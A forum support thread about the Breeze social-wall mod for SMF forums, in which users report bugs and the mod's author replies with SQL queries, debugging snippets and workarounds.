2: apc_store() [<a href='function.apc-store'>function.apc-store</a>]: Potential cache slam averted for key '7e5058e34de75107f666960f2d97add0-SMF-Breeze-options-27smf'
Apply Filter: Only show the errors from this file
File: /home/ptcb/public_html/Sources/Load.php
Line: 2833


Thats an APC cache error on old APC versions, tell your host about it.
Title: Re: Breeze
Post by: Dzonny on June 07, 2014, 08:29:33 AM
Is it possible to by default turn on these options for all members?
- Enable the general wall
- Enable the "Buddies" block.
- Enable the "Latest Visitors" module.
Notifications Settings:
- Notify me when someone post a new status on my wall
- Notify me when someone comments on my status
- Notify me when someone made a comment on an status made on my wall
- Notify me when someone mentions me.

I would like to turn all of those option on by default if possible.

Thanks for a great mod once again Suki!  ;)
Title: Re: Breeze
Post by: Suki on June 09, 2014, 10:25:14 AM
Currently there is no way to do that from the admin panel, you will need to run a query on phpMyadmin  or some test.php file with SSI.php included

All user options are stored in {db_prefix}breeze_options  much like how SMF stores generic values on {db_prefix}settings

To change specific settings you will need to do an update query, this is the query formatted for SMf:

Code: [Select]
$smcFunc['db_query']('', '
UPDATE {db_prefix}breeze_options
SET value = 1
WHERE variable IN ({array_string:settings})'),
array(
'settings' => array('enable_wall', 'buddies', 'visitors', 'noti_on_status', 'noti_on_comment', 'noti_on_comment_owner', 'noti_on_mention',),
)
);
Title: Re: Breeze
Post by: jafonseca on June 11, 2014, 07:03:54 AM
I Can't active my own wall, notifications.. I have activated the mod but I can't see the wall?¿

In 'smf_log_errors' table of database  appears

2: stripslashes() expects parameter 1 to be string, array given

/home/public_html/Sources/Breeze/BreezeData.php line 130

Sorry for my english
Title: Re: Breeze
Post by: Suki on June 11, 2014, 09:25:48 AM
mmm, that indicates theres a logic issue with the last change I made, ideally you don't have to check for get_magic_quotes_gpc() if your passed data is an array, recursiveness will do that for you. Will take a look at it.

You're using an outdated php version or you have magic quotes enable, that will create some issues for you.
Title: Re: Breeze
Post by: jafonseca on June 11, 2014, 10:29:04 AM
Sorry, it's sound like chinese to me . Only i can show it's my php version

(https://www.simplemachines.org/community/proxy.php?request=http%3A%2F%2Fi.imgur.com%2FWnqOc8Z.png&hash=bdba5f867a7cbf1e961e72ff0ea3deca)

and I don't know what is 'magic quotes' . Anyway thanks for the aswer
Title: Re: Breeze
Post by: Suki on June 11, 2014, 11:16:06 AM
Its a logic bug on Breeze I should take care of.

The rest of the stuff about magic quotes is just something incidental, if you're indeed using php 5.3 then your host actually turned magic quotes ON for some reason, even though they should been deprecated, anyway, SMF supports it so I guess theres no real issue there.
Title: Re: Breeze
Post by: Semetery on June 15, 2014, 11:24:48 PM
Just installed the mod and it functions perfectly, but I'm afraid I'm getting a jQuery conflict with another mod I use. The profile parts are there, but they're not as they are in the screenshots, they're vertically down the page so I feel fairly sure it's a JS issue as I just had the same problem earlier.

Is there any way around that? I didn't know where to look in this mod to try and disable it so it can use the other instance I already use.
Title: Re: Breeze
Post by: Suki on June 16, 2014, 09:43:54 AM
A link to a profile page would help.  This mod checks if there is an instance of jquery already and only loads it if it doesn't, sadly, most mod authors just don't do that.

Another possible issue is some other mod incorrectly stuffing $context['html_headers'].
Title: Re: Breeze
Post by: Kindred on June 16, 2014, 01:01:18 PM
I suspect the latter...
Title: Re: Breeze
Post by: Dzonny on June 18, 2014, 05:54:56 PM
Currently there is no way to do that from the admin panel, you will need to run a query on phpMyadmin  or some test.php file with SSI.php included

All user options are stored in {db_prefix}breeze_options  much like how SMF stores generic values on {db_prefix}settings

To change specific settings you will need to do an update query, this is the query formatted for SMf:

Code: [Select]
$smcFunc['db_query']('', '
UPDATE {db_prefix}breeze_options
SET value = 1
WHERE variable IN ({array_string:settings})'),
array(
'settings' => array('enable_wall', 'buddies', 'visitors', 'noti_on_status', 'noti_on_comment', 'noti_on_comment_owner', 'noti_on_mention',),
)
);
Thanks Suki.

I did that, and it seems like some options are now changed, but some like "Enable my wall ", "Enable the general wall", "Enable the "Buddies" block" and "Enable the "Latest Visitors" module" are not enabled at all.
Title: Re: Breeze
Post by: Suki on June 21, 2014, 08:58:29 AM
Thats weird then, that query should set everything to 1.

You can also do it manually from phpMyadmin by running the same query on sql format.
Title: Re: Breeze
Post by: ryan_dwight on June 30, 2014, 10:24:20 AM
I think we have a similar problem.

I have a member who has a wall settings all unchecked and trying to activate every box and save but nothing happens.

then I tried on my profile which is reverse, all checked then I unchecked all boxes in the wall settings in my profile then save but when i tried to see if i was changed, it was still checked.
Title: Re: Breeze
Post by: AnarchyClub on June 30, 2014, 12:20:28 PM
This is very useful, thanks.
Title: Re: Breeze
Post by: Suki on July 01, 2014, 11:04:16 AM
I think we have a similar problem.

I have a member who has a wall settings all unchecked and trying to activate every box and save but nothing happens.

then I tried on my profile which is reverse, all checked then I unchecked all boxes in the wall settings in my profile then save but when i tried to see if i was changed, it was still checked.

I've been trying to replicate this but I've been unable to do so.

Is there any error on the error log?
Title: Re: Breeze
Post by: ryan_dwight on July 01, 2014, 04:50:44 PM
I think we have a similar problem.

I have a member who has a wall settings all unchecked and trying to activate every box and save but nothing happens.

then I tried on my profile which is reverse, all checked then I unchecked all boxes in the wall settings in my profile then save but when i tried to see if i was changed, it was still checked.

I've been trying to replicate this but I've been unable to do so.

Is there any error on the error log?
I don't see any related error on the log.
Title: Re: Breeze
Post by: Steelio on July 02, 2014, 03:54:09 PM
hello Suki!

i've been looking for something like this (an improved member profile from SMF's very basic one). thank you for coming up with this! ;D

i've just installed your Mod on my site, and while i was testing things out i noticed that the messages i just typed wouldnt show up after i click the "Post" button. instead i see a gray bar popping at the top of  the browser (outlined in a red square in my attached screenshot below). its only AFTER i refresh/ reload the page does my message show up. (i'm using Chrome as the browser).

also the @mentions feature of your wall doesnt work either. i'm wondering if your Mod works with Dragoon's @mentions Mod (http://www.simplemachines.org/community/index.php?topic=522005.0) because i have that installed in my forum as well


and i was just wondering if there is a way for you to tweak the social media icons appearing on the wall (circled in pink on the same screenshot below). they're all lined up vertically now, is there a way to make them go horizontally instead? or anything that could optimize the space? i could imagine the icons being all vertical like that can get cumbersome when a members has plenty of social media icons activated (like 6 or more with facebook, twitter etc etc)

thats all, hoping you can help me out with this as im loving the Member and Admin features of your Mod :)

~ Steeley

Title: Re: Breeze
Post by: Kindred on July 03, 2014, 12:58:30 PM
If you install two mods that do the same feature, odds are good that one of them will be failing....
Title: Re: Breeze
Post by: Suki on July 03, 2014, 01:09:29 PM
That would indicate theres an issue when posting, usually the mod will return an actual error but if there is just a blank/gray bar then it means theres some PHP error.  Have you done any change to any Breeze files?  any errors on your error log?  if you disable JavaScript, does posting works?

The icons list was a bug I fixed a long time ago, are you sure you're using the latest version?

I have no idea if this mod will work with Dragooon's mod, in theory they should work, I do the mention stuff quite differently and load my own files, if it doesn't work then theres some javaScript conflict somewhere, an url to a profile wall would be handy.
Title: Re: Breeze
Post by: Suki on July 03, 2014, 01:25:15 PM
I think we have a similar problem.

I have a member who has a wall settings all unchecked and trying to activate every box and save but nothing happens.

then I tried on my profile which is reverse, all checked then I unchecked all boxes in the wall settings in my profile then save but when i tried to see if i was changed, it was still checked.

I've been trying to replicate this but I've been unable to do so.

Is there any error on the error log?
I don't see any related error on the log.


OK, I was doing testings with the new version for 2.1, I installed the mod on a clean 2.0.8 installation and indeed it doesn't save any user settings, will take a look at it.


Edit, found the issue, there was a flaw in the logic on BreezeData::sanitize()  will release a new version shortly
Title: Re: Breeze
Post by: Steelio on July 04, 2014, 02:51:16 AM
That would indicate theres an issue when posting, usually the mod will return an actual error but if there is just a blank/gray bar then it means theres some PHP error.  Have you done any change to any Breeze files?  any errors on your error log?  if you disable JavaScript, does posting works?

The icons list was a bug I fixed a long time ago, are you sure you're using the latest version?

I have no idea if this mod will work with Dragooon's mod, in theory they should work, I do the mention stuff quite differently and load my own files, if it doesn't work then theres some javaScript conflict somewhere, an url to a profile wall would be handy.

nope, didnt touch anything on the Breeze zip file. i downloaded it a few hours prior to me posting that issue, so im running the Breeze version thats uploaded here (http://custom.simplemachines.org/mods/index.php?mod=3839). these are the version infos currently running on my forum in case you need them:

Version Information:
Forum version: SMF 2.0.7
GD version: bundled (2.0.34 compatible)
MySQL version: 5.1.73-cll
PHP: 5.3.23


im not sure about disabling Java Script or anything else because it might mess with the other mods already installed (or the rest of the board).

i checked the error logs, so far the only breeze related error messages look like these (see attachment below)

i can give you a profile link here to study: http://themazerunner.net/forums/index.php?action=profile;u=17
you may need to register though, since we have restrictions set in place for guests.

thanks so far for looking into this Suki i really appreciate this :)






Title: Re: Breeze
Post by: Steelio on July 04, 2014, 02:55:59 AM
If you install two mods that do the same feature, odds are good that one of them will be failing....

i had a feeling thats whats happening  :-\

although Dragoon's @mentions feature supposedly just works for the forum posts, from how i understood Suki's mod, seems like her @mentions feature is limited to the wall.

im really not sure, these are all educated guesses on my part.
Title: Re: Breeze
Post by: Suki on July 04, 2014, 09:51:44 AM
Would be easier if you provide me with a regular user demo account able to post either new status or comments.

As for the errors, they should be fixed with the new version, in the meantime upload this file to your Sources/Breeze/  directory overwritten the existing one, that should take care of those errors.

Actually, to everyone who want to avoid the annoying procedure of uninstalling the old and install the new version, you can just upload this file to your Sources/Breeze/ directory and that should be it, this is just one of the perks of using an OOP/no edits mod :P

This file fixes the error when saving user settings.


Edit, removed the attachment.
Title: Re: Breeze
Post by: Steelio on July 08, 2014, 04:10:19 AM
Would be easier if you provide me with a regular user demo account able to post either new status or comments.

ok i created a new account for you. i'll send the details to your PM
Title: Re: Breeze
Post by: Suki on July 08, 2014, 11:57:09 AM
Would be easier if you provide me with a regular user demo account able to post either new status or comments.

ok i created a new account for you. i'll send the details to your PM


You have several issues going on.

To fix the gray bar at the top, disable the output compression from your admin panel, can't remember exactly where is it,maybe on server settings or something.  You have that setting enable which makes usage of ob_gzhandler but it appears your host doesn't have the zlib library installed.

So you have 2 options, disable that setting or ask your host to install and enable that library.

As for the mentions problem, yes, it looks like there is a conflict with the mentions mod, there isn't an easy way to solve it, best you can do is turn off parsing BBC on status and comments.
Title: Re: Breeze
Post by: Steelio on July 09, 2014, 02:01:16 AM
Would be easier if you provide me with a regular user demo account able to post either new status or comments.

ok i created a new account for you. i'll send the details to your PM


You have several issues going on.

To fix the gray bar at the top, disable the output compression from your admin panel, can't remember exactly where is it,maybe on server settings or something.  You have that setting enable which makes usage of ob_gzhandler but it appears your host doesn't have the zlib library installed.

So you have 2 options, disable that setting or ask your host to install and enable that library.

As for the mentions problem, yes, it looks like there is a conflict with the mentions mod, there isn't an easy way to solve it, best you can do is turn off parsing BBC on status and comments.

Suki it worked! :D

it even fixed the @mentions issue of the Wall. thank you so much!


Would be easier if you provide me with a regular user demo account able to post either new status or comments.

As for the errors, they should be fixed with the new version, in the meantime upload this file to your Sources/Breeze/  directory overwritten the existing one, that should take care of those errors.

Actually, to everyone who want to avoid the annoying procedure of uninstalling the old and install the new version, you can just upload this file to your Sources/Breeze/ directory and that should be it, this is just one of the perks of using an OOP/no edits mod :P

This file fixes the error when saving user settings.

ok im trying to see if i can do this simple overwrite.... but this means i need to have access to the FTP server right?  :-\
that might take some time (my co-admin havent created my access yet) i might have to wait for your new release where this fix is bundled along with the rest of the mod. any idea when you could get that up?
Title: Re: Breeze
Post by: Suki on July 09, 2014, 08:46:51 AM
Yeah, you would have to use an FTP program to upload that file or you can upload it via cpanel or similar, you can also wait until I release a new version but since the last versions I released I did it with my head on some place else, I want to make sure everything is working fine.
Title: Re: Breeze
Post by: Suki on July 09, 2014, 04:25:06 PM
This release fixes a bug introduced in the 1.0.5 version which prevented users from saving their options, it also improves the security fix introduced in the 1.0.5 release.

https://github.com/MissAllSunday/Breeze/releases/tag/v1.0.6

The green button is a ready to install package.

To upgrade just uninstall your previous mod version and DO NOT check the "Remove all data associated with this modification" checkbox.  Then proceed to install the new version.

If you do not want to follow the uninstall/install process, simply upload the attached file to your Sources/Breeze/ directory with your prefered FTP program, make sure to upload it as "ASCII mode" and to overwrite your existing BreezeData.php file.
Title: Re: Breeze
Post by: vladok on July 10, 2014, 05:01:29 AM
Suki

Comments not work to Win 1251 - UTF only  :'(
See:
http://www.newsdozor.ru/imhost/image.php?di=87NO
And MySQL DB (coding OK)
http://www.newsdozor.ru/imhost/image.php?di=D7SQ
Title: Re: Breeze
Post by: Suki on July 10, 2014, 09:36:40 AM
what languageb are you using?  the SMF package language.

Don't really understand why you aren't using utf8, would be much much easier for you.
Title: Re: Breeze
Post by: vladok on July 10, 2014, 09:56:03 AM
Forum used russian language (cp 1251/ Windows 1251). I can not change the charset of the forum. Forum is large and old :)
Title: Re: Breeze
Post by: Suki on July 10, 2014, 10:59:39 AM
I'm sorry, dunno how to fix it, perhaps it is my browser but at the time the data is passed to Breeze the content is already messed up.  Don't even know how to properly test this, I cannot write Russian letters and copy/pasting will not work.

I changed all the files encoding to windows 1251 and set my browser the same but still no luck, by the time the value gets picked up its already messed up.

I'm not that familiar with encodings and all that stuff.
Title: Re: Breeze
Post by: ZerK on July 10, 2014, 11:05:19 AM
i remember once having a problem with the characters like that and i couldnt finx it in the bd, what i did was censor it in the admin and replace it with the html entity of the character.

if the comment are censored using the censortext function it should work.
Title: Re: Breeze
Post by: ZerK on July 10, 2014, 11:18:08 AM
i cant test it but you can try with something like this no ?

mb_convert_encoding($string, "Windows-1251", "utf-8");

or otherwise if the data is saved in utf8 and you want to convert it to 1251

mb_convert_encoding($string, "utf-8", "Windows-1251");
Title: Re: Breeze
Post by: vladok on July 10, 2014, 11:36:24 AM
My charset  to DB is OK: http://www.newsdozor.ru/imhost/image.php?di=D7SQ
But data to DB not ok: part of the data - cp1251, part - UTF8
See: http://www.newsdozor.ru/imhost/image.php?di=JS68
Title: Re: Breeze
Post by: Suki on July 10, 2014, 12:01:20 PM
You could try encoding all the files inside Sources/Breeze folder to Windows 2151 and also couldn't hurt adding:

accept-charset="'. $context['character_set']. '"  to the forms on /themes/default/Breeze.template and BreezeFunctions.template

Other than that, I have no idea and I don't even know how to properly test this either.

Does this happen to every user or just to some users?
Title: Re: Breeze
Post by: vladok on July 10, 2014, 01:14:26 PM
This happens to all users :(
If I (or another user) open a new topic on its wall- all ok. The problem begins when commenting.
...
Ok, thank you very much :) I need some time for testing.
Title: Re: Breeze
Post by: Semetery on July 19, 2014, 10:24:20 PM
A link to a profile page would help.  This mod checks if there is an instance of jquery already and only loads it if it doesn't, sadly, most mod authors just don't do that.

Another possible issue is some other mod incorrectly stuffing $context['html_headers'].

I'm very late to reply, but here's a link to the profile: http://midnightspookhouse.com/community/index.php?action=profile;u=2

My previous message was about the layout being strange. Any help would be greatly appreciated, I'd love to get this working. :)
Title: Re: Breeze
Post by: Suki on July 20, 2014, 10:38:19 AM
Guest can't see profile pages, would you create a demo regular account for me to see that profile.
Title: Re: Breeze
Post by: Semetery on July 20, 2014, 02:18:47 PM
Sure thing, here you go:

Username: Suki
Password: 123456

Thanks!
Title: Re: Breeze
Post by: Suki on July 20, 2014, 05:13:16 PM
Yaeh, it looks like some sloppy mod author casually forgot how to use $context['html_headers'] and how to append your own content to it...

Can you list the mods you had installed?
Title: Re: Breeze
Post by: Semetery on July 21, 2014, 12:33:09 AM
Sure, here's the list:

Thumbnail Topic Mod
Quick Reply Reposition Mod    
Like Posts   
Social Login   
Recent Forum Topics Boardindex   
NiceTooltips   
Spoiler BBCode
Simple Audio Video Embedder
Tabbed Categories
Remove Help From Menu   
Add Facebook Like, Tweet, and Google +1
Simple .htaccess Cache Mod   
SMF Gallery Lite

And Breeze, of course.

Thanks for your help. :)
Title: Re: Breeze
Post by: drfun on July 22, 2014, 01:16:38 PM
Thanks for this mod, this mod will for ever change the way smf forum is been looked upon.
Nice work, God bless your coding skill  :-*
Title: Re: Breeze
Post by: sayl3r on July 24, 2014, 09:49:20 AM
how i can get everyone`s last status,i wanna show the last status instead of signature !
Title: Re: Breeze
Post by: Suki on July 24, 2014, 12:24:14 PM
Theres currnetly no way to get the latest status, maybe I should write a quick method for it,  thing is, status can be pretty long and won't be pretty to add them after a post, could be confusing.

For Breeze 1.1 I'm implementing a "my mood" feature which will be included on the posting area by default.
Title: Re: Breeze
Post by: sayl3r on July 26, 2014, 08:58:51 AM
i want just show the status not the comments.

is there any way to limit the status characters and lines?
Title: Re: Breeze
Post by: Suki on July 26, 2014, 09:40:47 AM
Since the status uses BBC parsed as HTML nop, you will end up with chopped HTML fragments all over the place that will break your page.

If you cut the body before been parsed you will end up with broken BBC tags that will not parse correctly.

I can show you how, even build a custom query for you but I don't have time to code all that is required to show the last status as it will require a few edits on Display and display.template
Title: Re: Breeze
Post by: sayl3r on July 27, 2014, 05:59:07 AM
Since the status uses BBC parsed as HTML nop, you will end up with chopped HTML fragments all over the place that will break your page.

If you cut the body before been parsed you will end up with broken BBC tags that will not parse correctly.
what if i disable BBC parse?
and what if prevent user from submitting many lines and characters before submit the status?
I can show you how, even build a custom query for you but I don't have time to code all that is required to show the last status as it will require a few edits on Display and display.template
i will Be grateful if U build the query.
Title: Re: Breeze
Post by: Tonyvic on August 04, 2014, 06:31:35 AM
Hi,
I am having trouble with 'Mentions', the dropdown does not appear at all.
I am using SMF 2.0.8 and PHP version 5.4.25
I have tried with IE 11 and Firefox 31.0

The mentions feature is enabled in the Main Breeze Admin Center, also the Membergroups permissions I am testing with are 'Allowed' to mention and appear on the mention list.

There are no other 'Mentions' Mods installed, any help would be appreciated.
Title: Re: Breeze
Post by: Hj Ahmad Rasyid Hj Ismail on August 04, 2014, 08:59:59 AM
Nice mod Suki. I always like smf to improve its profile page to something like this social mod. Keep it up.
Title: Re: Breeze
Post by: Suki on August 04, 2014, 10:28:05 AM
Hi,
I am having trouble with 'Mentions', the dropdown does not appear at all.
I am using SMF 2.0.8 and PHP version 5.4.25
I have tried with IE 11 and Firefox 31.0

The mentions feature is enabled in the Main Breeze Admin Center, also the Membergroups permissions I am testing with are 'Allowed' to mention and appear on the mention list.

There are no other 'Mentions' Mods installed, any help would be appreciated.

Must be some JS error, chances are some other mod broke it.
Since this is becoming a recurrent issue, I will modify the code not to depend on $context['html headers'] for loading the necessary JS files as a lot of mod authors simply doesn't use that var properly.

Will take a look at it when I have some time.
Title: Re: Breeze
Post by: Tonyvic on August 04, 2014, 11:11:47 AM
Thanks for the fast response Suki, I will await an update.
At least our members can use use the main part of this great Mod until then. 8) :)
Title: Re: Breeze
Post by: Alx974 on August 06, 2014, 06:31:29 PM
Hi, thanx for your mod it's great :) It's possible to allow current BBcode shortcut in wall like normal posts ?
Title: Re: Breeze
Post by: Suki on August 07, 2014, 11:33:38 AM
There should be a setting in the mod's admin panel for allowing BBC on both status and comments.
Title: Re: Breeze
Post by: qs12345 on August 11, 2014, 07:44:25 PM
Hi, thanks for the mod!

I'm having some trouble with the wall for admins. For some reason I can see my own wall and be able to post comments on it but no one else can. All the users see is a bar that says wall but no text box under it. Any idea how to fix this? Thanks!
Title: Re: Breeze
Post by: ryan_dwight on August 12, 2014, 04:15:46 AM
Hi, thanks for the mod!

I'm having some trouble with the wall for admins. For some reason I can see my own wall and be able to post comments on it but no one else can. All the users see is a bar that says wall but no text box under it. Any idea how to fix this? Thanks!
can you check the Breeze admin page >>>>>permissions
Title: Re: Breeze
Post by: Suki on August 12, 2014, 02:01:45 PM
Yes, basically heres how permissions work:

- Everybody by default has access to post both status and comments on their own wall.
- There are permissions to post status and comments on any wall.  You need to add this permission to the user groups you want to be able to post on any wall.
Title: Re: Breeze
Post by: Tonyvic on August 14, 2014, 05:51:39 AM
Thanks for this great Mod Suki, my members are loving it.
I am however seeing an error quite a lot, in fact it's two in one.
Quote
http://www.mysite.net/community/index.php?action=profile
8: Undefined offset: 171
File: /home/naturist/public_html/community/Themes/default/BreezeFunctions.template.php
Line: 315
and
Quote
http://www.mysite.net/community/index.php?action=profile
8: Undefined offset: 1094
File: /home/naturist/public_html/community/Themes/default/BreezeFunctions.template.php
Line: 315

A friend of mine wondered if there was a couple of brackets missing in the following.
Code: [Select]
311:

// Trickery...
312:

$user = $type == 'visitors' ? $u['user'] : $u;
313: 
314:

echo '
==>315:


<li> ', $context['Breeze']['user_info'][$user]['facebox'] ,' <br /> ', $context['Breeze']['user_info'][$user]['link'];
316:

TIA,
Tony

Title: Re: Breeze
Post by: Suki on August 14, 2014, 07:34:56 PM
Missing brackets where exactly?

is 171 and 1094 the only member IDs that generate those errors?  and if so, does thosew accounts belongs to regular mmebers?
Title: Re: Breeze
Post by: Tonyvic on August 15, 2014, 09:33:58 AM
Quote
Missing brackets where exactly?
I'm afraid I don't know exactly, he isn't available right now but he isn't a coder so he was probably wrong anyway. ???

We are now into the 3rd day since installing Breeze and there are now lot's of different member ID's generating the errors, most are regular members but 171 (As per my last post) is a Global Moderator.

Each time a user generates this error, two appear at exactly the same time as per attached.
Title: Re: Breeze
Post by: Suki on August 15, 2014, 12:18:20 PM
If there is any specific IDs generating those errors then it means the users data isn't been loaded.

Every query in Breeze not only returns data but it also returns all user IDs associated with the data, if a function needs to display that data, it loads the user info from those IDs via BreezeTools::loadUserInfo()  for some reason, one of those queries isn't either getting the Ids or loading the users data properly.

Will take a closer look at that when I have some time.
Title: Re: Breeze
Post by: Tonyvic on August 17, 2014, 11:45:05 AM
If there is any specific IDs generating those errors then it means the users data isn't been loaded.

Every query in Breeze not only returns data but it also returns all user IDs associated with the data, if a function needs to display that data, it loads the user info from those IDs via BreezeTools::loadUserInfo()  for some reason, one of those queries isn't either getting the Ids or loading the users data properly.

Will take a closer look at that when I have some time.
Thanks Suki.

Hi,
I am having trouble with 'Mentions', the dropdown does not appear at all.
I am using SMF 2.0.8 and PHP version 5.4.25
I have tried with IE 11 and Firefox 31.0

The mentions feature is enabled in the Main Breeze Admin Center, also the Membergroups permissions I am testing with are 'Allowed' to mention and appear on the mention list.

There are no other 'Mentions' Mods installed, any help would be appreciated.

Must be some JS error, chances are some other mod broke it.
Since this is becoming a recurrent issue, I will modify the code not to depend on $context['html headers'] for loading the necessary JS files as a lot of mod authors simply doesn't use that var properly.

Will take a look at it when I have some time.
By elimination on my forum, have discovered it was BBC_Spoiler_V1_By_SMFSImple.com Mod which was the cause. Uninstalled it & Mentions is now working fine.
Title: Re: Breeze
Post by: Suki on August 17, 2014, 12:09:25 PM
I've been toying with some code to try and reduce any issues caused by other mods misusing $context['html_headers'] but I'm afraid its a lot more work than I expected it to be :(  It also feels bad having to spend that many time trying to tweak my code to cover other people's mistakes :(

As for a spoiler, I got a very simple one: https://github.com/MissAllSunday/SimpleSpoiler doesn't conflict with any other mod, loads jquery only if it hasn't been loaded yet and it doesn't use any shared var which means no conflicts with other wrongly coded mods.

I've been working on the next version, it will be for SMF 2.1 but it will have lots and lots of improvements:

- No more conflicts with other mods or JS issues.
- Less files, code is cleaner.
- Cover feature, much like Twitter or Facebook, an user can upload an image and it will appear on his/her wall.
- A revamped wall page.
- "my mood" feature, small icons that represents common feelings, angry, happy, bored, etc, easily changed by clicking on it. Admin can add/edit/delete moods too.
- A follow/unfollow system, to avoid messing around with the buddy system, this is something I haven't decided just yet so I might still end up using the existing buddy system.
- Likes for status/comments.
- Editing status/comments.
- Hopefully no more "undefined" errors while trying to load user's data.

Thats basically what I have in mind, I already finished some of that but still had lots of things to do, I have plans to make it ready once SMF 2.1 is released.
Title: Re: Breeze
Post by: byproduct on August 18, 2014, 07:54:29 AM
???

Since I can't do much with SMF 2.0, all future features will be for SMF 2.1.  I have responded to all the questions and fixed all reported bugs, dunno what else do you need.


glad i read deeper into the topic.... you should post that on the mod page so people know it might be year(s) before any updates take place


Title: Re: Breeze
Post by: Suki on August 18, 2014, 09:01:11 AM
You may want to read even deeper, say, until the post right above yours when I said I already did most of the new features planned ;)

Anyway, if you're in a hurry or something, please step on and help with development, this mod is open source and everyone can contribute. Nope? yeah, that's what I thought. Carry on then, nothing to whine here.
Title: Re: Breeze
Post by: byproduct on August 18, 2014, 11:58:08 AM
not in a hurry
but not interested in sitting around waiting for "some day" that tends to run into yrs.










Title: Re: Breeze
Post by: Suki on August 18, 2014, 12:08:42 PM
Good to know you're not interested in this mod, therefore you have no reason to keep posting here :)
Title: Re: Breeze
Post by: Kimmie on August 18, 2014, 06:43:13 PM
I know this is a bit off topic, but since you brought it up :P

Are we to assume by this that 2.1 is close to a release?

----------------

"This mod needs PHP 5.3 or greater and SMF 2.0.x or greater"


Does it "have to" be 5.3? My host is still using 5.2.17
Title: Re: Breeze
Post by: Kindred on August 18, 2014, 06:54:08 PM
2.1 will be released when it is ready

and yes... 5.3 is required. 5.2 is out of date, insecure, and End of Life anyway
Title: Re: Breeze
Post by: Kimmie on August 18, 2014, 08:19:12 PM
2.1 will be released when it is ready

and yes... 5.3 is required. 5.2 is out of date, insecure, and End of Life anyway


  :o  K No need to be snarky, I simply asked. You could have just said you didn't know how close it was.

Others have told me that 5.2 is still a reliable version of PHP and is probably why my host has not updated. I have since asked them if they would consider updating. Hopefully they will. It isn't every day you find a mod that has no real code edits to speak of.
Title: Re: Breeze
Post by: Suki on August 18, 2014, 09:56:06 PM
I know this is a bit off topic, but since you brought it up :P

Are we to assume by this that 2.1 is close to a release?

----------------

"This mod needs PHP 5.3 or greater and SMF 2.0.x or greater"


Does it "have to" be 5.3? My host is still using 5.2.17

Nope! this mod and SMF 2.1 release are two different things, I might as well release this for a beta or other not gold SMF releases. It makes no difference to me, I know both codebases, I can forsee any possible change and since this mod doesn't do any file edit, upgrading it its a matter of uploading the new files.

Me finishing the new features for this mod is not an indication of any possible SMF releases. It just mean I'm working on it.

And yes, it has to be php 5.3, there are some features this mod uses that are only available on 5.3.
Title: Re: Breeze
Post by: Kimmie on August 19, 2014, 02:52:27 PM


And yes, it has to be php 5.3, there are some features this mod uses that are only available on 5.3.


Thanks for the response. I spoke with my host and they are planning on upgrading in the next few weeks. They have some sites hosted that are not compatible with the newer versions of PHP so they have to get those resolved first. I can wait.
Title: Re: Breeze
Post by: qs12345 on August 22, 2014, 05:31:19 PM
Late reply sorry, I ended up realizing I just didn't set the permissions right when I went back through everything. Thanks for the help!
Title: Re: Breeze
Post by: detercan on September 01, 2014, 09:38:38 PM
Hi,

I got this error when i clicked wall on my profile.

Code: [Select]
Wrong value type sent to the database. Array of integers expected. (users)
Title: Re: Breeze
Post by: Suki on September 02, 2014, 11:25:31 AM
I remember that error, cannot recall what was the exact thing that caused it.  What version are you using?  and does the error log say more about this? perhaps a line number and file?
Title: Re: Breeze
Post by: detercan on September 02, 2014, 04:09:53 PM
Code: [Select]
http://www.forumsepeti.com/index.php?action=profile;area=summary;u= Wrong value type sent to the database. Array of integers expected. (users)

Function: loadMemberData: /home/forumsepeti.com/httpdocs/Sources/Load.php
line: 1156


That is the error and i am using smf 2.0.8 version
Title: Re: Breeze
Post by: Suki on September 03, 2014, 09:56:08 AM
I actually meant this mod's version and can you post the entire error?  I suppose "Satır" means "line" ?
Title: Re: Breeze
Post by: detercan on September 04, 2014, 01:37:33 PM
Satır means 'line' in Turkish. And i installed version 1.0.4
Title: Re: Breeze
Post by: Suki on September 04, 2014, 02:06:15 PM
The current version is 1.0.6 (http://missallsunday.com/index.php?topic=510.msg3595#msg3595), so you might want to give that version a try.
Title: Re: Breeze
Post by: detercan on September 04, 2014, 09:16:30 PM
I downloaded and installed the version you gave but still same problem when i want to go my wall.

Wrong value type sent to the database. Array of integers expected. (user)

This is the error msg

Code: [Select]
http://www.forumsepeti.com/index.php?action=wall

Wrong value type sent to the database. Array of integers expected. (user)

Function: getActivityLog /home/forumsepeti.com/httpdocs/Sources/Breeze/BreezeQuery.php

Line: 1331
Title: Re: Breeze
Post by: Suki on September 05, 2014, 09:29:18 AM
Can you put this on your Sources/Breeze/BreezeQuery.php file  below trhis line:

Code: [Select]
public function getActivityLog($user = false)
{
// We start with nothing!
$return = false;

// The usual check..
if (empty($user))
return $return;

put this:

global $context;

if ($context['user']['is_admin'])
var_dump($user);die;

then go to the page that generates the error, see whats on the page and post it here.

Also, it might be possible that something is wrong with your buddy list:  $this->userSettings['buddies']  that var should return an array of integers.
Title: Re: Breeze
Post by: detercan on September 06, 2014, 10:15:11 AM
I did wat u have said and when i went to my wall it says

Code: [Select]
array(4) { [0]=> string(0) "" [1]=> string(1) "2" [2]=> string(2) "69" [3]=> string(2) "99" }
Title: Re: Breeze
Post by: Suki on September 07, 2014, 10:27:33 AM
Interesting, somehow you end up with an empty value. It usually means your buddies string is messed up.

OK, as a quick workaround, find the code you included:

Code: [Select]
global $context;

if ($context['user']['is_admin'])
var_dump($user);die;


and replace it with this:

Code: [Select]
$user = array_filter($user);

And let me know if you still have errors.
Title: Re: Breeze
Post by: detercan on September 09, 2014, 08:23:39 AM
Now the wall is working but my profile says same error :S When i click smb's profile the wall is opening but when i click my profile it gives same error and also when i click smb's profile i want their summary to open 'not the wall'
Title: Re: Breeze
Post by: Suki on September 09, 2014, 10:27:53 AM
Then it might be better to fix your buddies field in the DB

Go to phpmyadmin or similar, open your DB, select the members table, select your row and click on edit look out for the "buddies" column and remove any 0 or other characters there might be, it should contain only numbers and commas like this:  1,2,3,4,5.

If you're unsure just delete everything inside the buddies field and go back and add your buddies again from the forum.
Title: Re: Breeze
Post by: meemzo on September 14, 2014, 10:11:09 PM
Can someone please tell me how to resize the images in the breeze profiles "who visited"?  They are the same width, but vary in height.  It looks messy.
Title: Re: Breeze
Post by: Suki on September 15, 2014, 08:36:57 AM
Your browser is suppose to automatically change the height depending on the avatar's width. Link?
Title: Re: Breeze
Post by: meemzo on September 15, 2014, 08:52:21 PM
Since you can't see the link without being a registered member I guess a screenshot will have to do?  It looks the same across three different browsers.

Title: Re: Breeze
Post by: Suki on September 16, 2014, 12:05:56 PM
That is the intended behavior, the mod is setting a width while leaving the browser to specify the height to maintain the image's proportions.
Title: Re: Breeze
